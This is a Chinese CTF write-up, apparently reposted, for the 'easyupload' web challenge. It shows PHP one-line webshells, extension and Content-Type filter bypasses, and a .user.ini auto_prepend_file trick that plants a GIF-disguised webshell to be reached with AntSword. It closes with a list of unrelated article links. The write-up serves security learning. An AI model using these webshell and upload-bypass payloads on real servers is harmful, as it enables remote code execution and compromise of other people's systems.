当前位置: 首页 > news >正文

攻防世界35-easyupload-CTFWeb

攻防世界35-easyupload-CTFWeb

通过各种上传发现,过滤了php后缀和内容中有php的文件

有这几种方式上传一句话木马

<script language="php">eval($_POST[1]);</script>
<?php eval($_POST['cmd']);?>
<?= eval($_POST['cmd']);?>

那么如果过滤php的话只能用最后一种方式

上传时也要注意Content-Type: text/jpg

上传名称后缀为.phtml .phps .php5 .pht等(可以自行FUZZ测试,自己找字典)

这题我不会做,也是看题解的

学会一种新方式:

.user.ini绕过

.user.ini中两个中的配置就是auto_prepend_file和auto_append_file。这两个配置的意思就是:我们指定一个文件(如1.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),相当于在index.php中插入一句:require(./1.jpg)。这两个设置的区别只是在于auto_prepend_file是在文件前插入,auto_append_file在文件最后插入。

利用.user.ini的前提是服务器开启了CGI或者FastCGI,并且上传文件的存储路径下有index.php可执行文件。
所以本题我们要想上传并且执行,首先上传.user.ini文件,然后上传一个图片。

可以新建.user.ini文件,内容如下

GIF89a
auto_prepend_file=a.jpg

上传并更改Content-Type: image/jpeg

然后创建a.jpg,内容为

GIF89a
<?=eval($_REQUEST['cmd']);?>

用蚁剑连接即可

<?=eval($_REQUEST['cmd']);?>

用蚁剑连接即可![image-20241110152027401](https://img-blog.csdnimg.cn/img_convert/2201b0243af346f87c1e51fb8fc5c786.png)
http://www.lryc.cn/news/481818.html

相关文章:

  • 在Mysql中,如何定位慢查询
  • CSS教程(三)- CSS 三大特性
  • 如何保证Redis与MySQL双写一致性
  • 【IC每日一题:IC验证面试--UVM验证-2】
  • SPIRE: Semantic Prompt-Driven Image Restoration 论文阅读笔记
  • #揭秘万维网:从静态页面到智能互联网
  • 【计算机基础——数据结构——红黑树】
  • Sentinel — 微服务保护
  • Cynet:全方位一体化安全防护工具
  • python中常见的8种数据结构之一数组的应用
  • 安装多个低版本谷歌Chrome浏览器用于测试,适配Vue3+vite项目
  • UI组件---如何设置el-pagination分页组件的背景色
  • LabVIEW编程过程中为什么会出现bug?
  • 论文阅读《Structure-from-Motion Revisited》
  • RK android14 第三方app获取su权限
  • 线程与进程的区别(面试)
  • OpenDroneMap Webodm
  • Could not create task ‘:shared_preferences_android:generateDebugUnitTestConfig‘
  • CSS教程(四)- 字体
  • 深入理解Java中的Lambda表达式
  • C#里怎么样判断一个数是偶数还是奇数
  • 【论文笔记】Prefix-Tuning: Optimizing Continuous Prompts for Generation
  • GNN系统学习:消息传递图神经网络
  • 基于gewe制作第一个微信聊天机器人
  • 【Python】python使用Moviepy库对mp3文件进行剪切,并设置输出文件的码率
  • 海外云手机在出海业务中的优势有哪些?
  • 这10款PDF转Word在线转换工具的个人使用经历!!
  • 认识QT以及QT的环境搭建
  • Rollup failed to resolve import “destr“ from ***/node_modules/pinia-plugin-pers
  • Python小白学习教程从入门到入坑------第三十课 文件定位操作(语法进阶)